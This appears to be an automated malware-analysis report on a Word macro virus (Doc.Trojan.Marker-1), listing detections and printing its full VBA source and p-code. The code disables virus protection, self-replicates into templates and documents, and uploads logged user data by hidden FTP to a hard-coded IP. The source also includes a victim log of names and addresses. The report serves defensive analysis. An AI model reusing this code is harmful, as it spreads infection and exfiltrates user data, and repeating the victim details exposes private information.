MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains legacy WordBasic macro markers and a critical 'Shell()' call within VBA code, indicating an attempt to execute arbitrary commands. The macro attempts to write a file named 'c:\netldx.vxd' and connect to the IP address '209.201.88.110', suggesting it acts as a downloader for a second-stage payload. The presence of ClamAV detections further supports its malicious nature.
Heuristics 8
-
ClamAV: Doc.Trojan.Marker-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Bare IPv4 address in VBA string literal (1 address) low OLE_VBA_BARE_IPV4_LITERALVBA source contains one or more globally-routable IPv4 addresses as plain string literals with no URL scheme. These are commonly C2 or download hosts that only get http:// prepended at runtime, so the normal URL extractors miss them. Surfaced as http://<ip> IOCs. Private, reserved and version/build-shaped values are excluded.
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://209.201.88.110 Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 28258 bytes |
SHA-256: c983374db8ace98814ee85660b91c4f10dd5433857485331cce3f2597a57547b |
|||
|
Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim AD, NT As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = AD.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = NT.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 09:23:32 AM - Wednesday, 23 Dec 1998
' bcbsa
'
' 12:08:05 PM - Monday, 4 Jan 1999
' ISG
'
' 02:41:37 PM - Tuesday, 5 Jan 1999
' Information Systems Group
'
' 12:49:03 PM - Saturday, 9 Jan 1999
' Mona Sowisky
' CSC Healthcare
' One Embarcadero, Suite 2800
' San Francisco, CA 94111
' 10:30:59 PM - Sunday, 10 Jan 1999
' Information Systems
' CSC Healthcare
' 1675 Broadway, 18th Floor
' New York, NY 10019
' 09:25:05 PM - Monday, 11 Jan 1999
' Marge Bayus
'
' 09:58:40 AM - Wednesday, 20 Jan 1999
' Metron, Inc. (SSD)
'
' 12:36:01 PM - Tuesday, 26 Jan 1999
' Alexander J. Callahan
'
' 06:07:11 AM - Wednesday, 27 Jan 1999
' u521
'
' 12:17:13 PM - Friday, 5 Feb 1999
' bakersc
'
' 08:44:18 PM - Tuesday, 9 Feb 1999
' G3CM
'
' 03:39:49 AM - Tuesday, 23 Feb 1999
' I MACE
'
' 12:40:37 AM - Thursday, 25 Feb 1999
' HJ Coble
'
' 07:56:38 AM - Thursday, 25 Feb 1999
' Thomas C. Linn
'
' 07:14:47 AM - Monday, 1 Mar 1999
' royd
'
' 03:36:23 PM - Monday, 1 Mar 1999
' Ellen Frost
'
' 08:06:28 AM - Wednesday, 3 Mar 1999
' Wynn V. Bussmann
'
' 07:59:52 PM - Friday, 5 Mar 1999
' Walter Maher
'
' 04:11:02 PM - Tuesday, 16 Mar 1999
' Tan Seng Poh
'
' 11:24:15 AM - Wednesday, 17 Mar 1999
' John Goyer
'
' 12:22:24 PM - Wednesday, 24 Mar 1999
' Rudy Nayga*
'
' 05:41:48 AM - Wednesday, 8 Feb 1995
' Computing Center
' Universitas Kristen Petra
' Fakultas Teknik
' Jurusan Teknik Elektro
' Jl. Siwalankerto 121-131
' Surabaya
' 03:10:14 PM - Wednesday, 7 Apr 1999
' PUSKOM
'
' 12:39:38 PM - Monday, 26 Apr 1999
' PUSKOM
'
' 09:34:34 AM - Tuesday, 27 Apr 1999
' Petra
'
' 09:36:09 PM - Wednesday, 28 Apr 1999
' Djoni H. Setiabudi
'
' 11:56:22 AM - Saturday, 1 May 1999
' PUSAT KOMPUTER
'
' 07:49:08 AM - Saturday, 22 May 1999
' cc-head2
'
Attribute VB_Name = "astia"
Attribute VB_Name = "TITASIC"
Attribute VB_Base = "0{DDD5A86D-1F2E-11D3-B99E-0060083E1D39}{DDD5A867-1F2E-11D3-B99E-0060083E1D39}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Processing file: /tmp/qstore_j1o3sxr3
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 13162 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' OnError (Resume Next)
' Line #3:
' Line #4:
' Dim (Const)
' LitStr 0x0014 "<- this is a marker!"
' VarDefn Marker
' Line #5:
' Line #6:
' QuoteRem 0x0000 0x0011 "Declare Variables"
' Line #7:
' Dim
' VarDefn SaveDocument
' VarDefn SaveNormalTemplate
' VarDefn DocumentInfected
' VarDefn NormalTemplateInfected (As Boolean)
' Line #8:
' Dim
' VarDefn AD
' VarDefn NT (As Object)
' Line #9:
' Dim
' VarDefn OurCode
' VarDefn UserAddress
' VarDefn LogData
' VarDefn LogFile (As String)
' Line #10:
' Line #11:
' QuoteRem 0x0000 0x0014 "Initialize Variables"
' Line #12:
' SetStmt
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set AD
' Line #13:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set NT
' Line #14:
' Line #15:
' Ld Marker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld AD
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St DocumentInfected
' Line #16:
' Ld Marker
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x2710
' LitDI2 0x2710
' Ld NT
' MemLd CodeModule
' ArgsMemLd Find 0x0005
' St NormalTemplateInfected
' Line #17:
' Line #18:
' Line #19:
' QuoteRem 0x0000 0x001E "Switch the VirusProtection OFF"
' Line #20:
' LitVarSpecial (False)
' Ld Options
' MemSt VirusProtection
' Line #21:
' Line #22:
' Line #23:
' ArgsLd Now 0x0000
' ArgsLd Day 0x0001
' LitDI2 0x0001
' Eq
' Paren
' LitStr 0x0000 ""
' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' LitStr 0x0007 "LogFile"
' Ld System
' ArgsMemLd PrivateProfileString 0x0003
' LitVarSpecial (False)
' Eq
' Paren
' And
' IfBlock
' Line #24:
' Line #25:
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #26:
' LitDI2 0x0001
' Ld AD
' MemLd CodeModule
' MemLd CountOfLines
' Ld AD
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St LogData
' Line #27:
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' ElseIfBlock
' Line #28:
' LitDI2 0x0001
' Ld NT
' MemLd CodeModule
' MemLd CountOfLines
' Ld NT
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St LogData
' Line #29:
' EndIfBlock
' Line #30:
' Line #31:
' Ld LogData
' LitDI2 0x0001
' Ld LogData
' LitStr 0x0005 "' Log"
' LitStr 0x0008 "file -->"
' Concat
' FnInStr3
' Ld LogData
' FnLen
' LitDI2 0x0001
' Ld LogData
' LitStr 0x0005 "' Log"
' LitStr 0x0008 "file -->"
' Concat
' FnInStr3
' Sub
' ArgsLd Mid$ 0x0003
' St LogData
' Line #32:
' Line #33:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #34:
' Ld LogFile
' LitDI2 0x0008
' Ld Rnd
' Mul
' FnInt
' ArgsLd Str 0x0001
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Add
' St LogFile
' Line #35:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #36:
' LitStr 0x0006 "C:\hsf"
' Ld LogFile
' Concat
' LitStr 0x0004 ".sys"
' Concat
' St LogFile
' Line #37:
' Line #38:
' Ld LogFile
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #39:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld LogData
' PrintItemNL
' Line #40:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #41:
' Line #42:
' LitStr 0x000D "c:\netldx.vxd"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #43:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0010 "o 209.201.88.110"
' PrintItemNL
' Line #44:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000E "user anonymous"
' PrintItemNL
' Line #45:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000B "pass itsme@"
' PrintItemNL
' Line #46:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x000B "cd incoming"
' PrintItemNL
' Line #47:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0005 "ascii"
' PrintItemNL
' Line #48:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "put "
' Ld LogFile
' Concat
' PrintItemNL
' Line #49:
' LitDI2 0x0001
' Sharp
' PrintChan
' LitStr 0x0004 "quit"
' PrintItemNL
' Line #50:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #51:
' Line #52:
' LitStr 0x002A "command.com /c ftp.exe -n -s:c:\netldx.vxd"
' Ld vbHide
' ArgsCall Shell 0x0002
' Line #53:
' Line #54:
' LitVarSpecial (True)
' LitStr 0x0000 ""
' LitStr 0x003E "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
' LitStr 0x0007 "LogFile"
' Ld System
' ArgsMemSt PrivateProfileString 0x0003
' Line #55:
' Line #56:
' EndIfBlock
' Line #57:
' Line #58:
' Line #59:
' QuoteRem 0x0000 0x004D "Make sure that some conditions are true before we continue infecting anything"
' Line #60:
' LineCont 0x0008 0B 00 03 00 12 00 03 00
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' Xor
' Paren
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatDocument
' Eq
' Ld ActiveDocument
' MemLd SaveFormat
' Ld wdFormatTemplate
' Eq
' Or
' Paren
' And
' IfBlock
' Line #61:
' Line #62:
' Line #63:
' QuoteRem 0x0002 0x0019 "Infect the NormalTemplate"
' Line #64:
' Ld DocumentInfected
' LitVarSpecial (True)
' Eq
' IfBlock
' Line #65:
' Line #66:
' Ld NormalTemplate
' MemLd Saved
' St SaveNormalTemplate
' Line #67:
' Line #68:
' LitDI2 0x0001
' Ld AD
' MemLd CodeModule
' MemLd CountOfLines
' Ld AD
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St OurCode
' Line #69:
' Line #70:
' Line #71:
' QuoteRem 0x0004 0x0031 "Write a log file of this NormalTemplate infection"
' Line #72:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld Application
' MemLd UserAddress
' FnLen
' For
' Line #73:
' Ld Application
' MemLd UserAddress
' Ld i
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #74:
' Ld Application
' MemLd UserAddress
' Ld i
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitDI2 0x000A
' ArgsLd Chr 0x0001
' Ne
' IfBlock
' Line #75:
' Ld UserAddress
' Ld Application
' MemLd UserAddress
' Ld i
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Concat
' St UserAddress
' Line #76:
' EndIfBlock
' Line #77:
' ElseBlock
' Line #78:
' Ld UserAddress
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' St UserAddress
' Line #79:
' EndIfBlock
' Line #80:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #81:
' Line #82:
' LineCont 0x0010 09 00 0E 00 12 00 15 00 1E 00 0E 00 29 00 0E 00
' Ld OurCode
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Time
' LitStr 0x0010 "hh:mm:ss AMPM - "
' ArgsLd Format$ 0x0002
' Concat
' Ld Date
' LitStr 0x0010 "dddd, d mmm yyyy"
' ArgsLd Format$ 0x0002
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld Application
' MemLd UserName
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' LitStr 0x0002 "' "
' Concat
' Ld UserAddress
' Concat
' LitDI2 0x000D
' ArgsLd Chr 0x0001
' Concat
' St OurCode
' Line #83:
' Line #84:
' Line #85:
' LitDI2 0x0001
' Ld NT
' MemLd CodeModule
' MemLd CountOfLines
' Ld NT
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #86:
' Ld OurCode
' Ld NT
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #87:
' Line #88:
' Ld SaveNormalTemplate
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' EndIf
' Line #89:
' Line #90:
' EndIfBlock
' Line #91:
' Line #92:
' Line #93:
' QuoteRem 0x0002 0x0019 "Infect the ActiveDocument"
' Line #94:
' LineCont 0x0008 05 00 05 00 13 00 05 00
' Ld NormalTemplateInfected
' LitVarSpecial (True)
' Eq
' Ld ActiveDocument
' MemLd FullName
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' LitStr 0x0001 ":"
' Eq
' Ld ActiveDocument
' MemLd Saved
' LitVarSpecial (False)
' Eq
' Or
' Paren
' And
' IfBlock
' Line #95:
' Line #96:
' Ld ActiveDocument
' MemLd Saved
' St SaveDocument
' Line #97:
' Line #98:
' LitDI2 0x0001
' Ld NT
' MemLd CodeModule
' MemLd CountOfLines
' Ld NT
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St OurCode
' Line #99:
' Line #100:
' LitDI2 0x0001
' Ld AD
' MemLd CodeModule
' MemLd CountOfLines
' Ld AD
' MemLd CodeModule
' ArgsMemCall DeleteLines 0x0002
' Line #101:
' Ld OurCode
' Ld AD
' MemLd CodeModule
' ArgsMemCall AddFromString 0x0001
' Line #102:
' Line #103:
' Ld SaveDocument
' LitVarSpecial (True)
' Eq
' If
' BoSImplicit
' Ld ActiveDocument
' ArgsMemCall Save 0x0000
' EndIf
' Line #104:
' Line #105:
' EndIfBlock
' Line #106:
' Line #107:
' Line #108:
' EndIfBlock
' Line #109:
' Line #110:
' EndSub
' Line #111:
' Line #112:
' QuoteRem 0x0000 0x000C " Logfile -->"
' Line #113:
' Line #114:
' QuoteRem 0x0000 0x0022 " 09:08:36 - Saturday, 28 Nov 1998"
' Line #115:
' QuoteRem 0x0000 0x0007 " SPo0Ky"
' Line #116:
' QuoteRem 0x0000 0x000C " Blue Planet"
' Line #117:
' QuoteRem 0x0000 0x0000 ""
' Line #118:
' Line #119:
' Line #120:
' Line #121:
' QuoteRem 0x0000 0x0024 " 02:50:31 PM - Saturday, 28 Nov 1998"
' Line #122:
' QuoteRem 0x0000 0x000D " MARK B. SEAY"
' Line #123:
' QuoteRem 0x0000 0x0000 ""
' Line #124:
' Line #125:
' Line #126:
' Line #127:
' QuoteRem 0x0000 0x0021 " 08:04:45 AM - Friday, 4 Dec 1998"
' Line #128:
' QuoteRem 0x0000 0x0004 " UPS"
' Line #129:
' QuoteRem 0x0000 0x0000 ""
' Line #130:
' Line #131:
' Line #132:
' Line #133:
' QuoteRem 0x0000 0x0024 " 11:43:35 AM - Thursday, 17 Dec 1998"
' Line #134:
' QuoteRem 0x0000 0x0004 " WRO"
' Line #135:
' QuoteRem 0x0000 0x0000 ""
' Line #136:
' Line #137:
' Line #138:
' Line #139:
' QuoteRem 0x0000 0x0025 " 09:23:32 AM - Wednesday, 23 Dec 1998"
' Line #140:
' QuoteRem 0x0000 0x0006 " bcbsa"
' Line #141:
' QuoteRem 0x0000 0x0000 ""
' Line #142:
' Line #143:
' Line #144:
' Line #145:
' QuoteRem 0x0000 0x0021 " 12:08:05 PM - Monday, 4 Jan 1999"
' Line #146:
' QuoteRem 0x0000 0x0004 " ISG"
' Line #147:
' QuoteRem 0x0000 0x0000 ""
' Line #148:
' Line #149:
' Line #150:
' Line #151:
' QuoteRem 0x0000 0x0022 " 02:41:37 PM - Tuesday, 5 Jan 1999"
' Line #152:
' QuoteRem 0x0000 0x001A " Information Systems Group"
' Line #153:
' QuoteRem 0x0000 0x0000 ""
' Line #154:
' Line #155:
' Line #156:
' Line #157:
' QuoteRem 0x0000 0x0023 " 12:49:03 PM - Saturday, 9 Jan 1999"
' Line #158:
' QuoteRem 0x0000 0x000D " Mona Sowisky"
' Line #159:
' QuoteRem 0x0000 0x000F " CSC Healthcare"
' Line #160:
' QuoteRem 0x0000 0x001C " One Embarcadero, Suite 2800"
' Line #161:
' QuoteRem 0x0000 0x0018 " San Francisco, CA 94111"
' Line #162:
' Line #163:
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.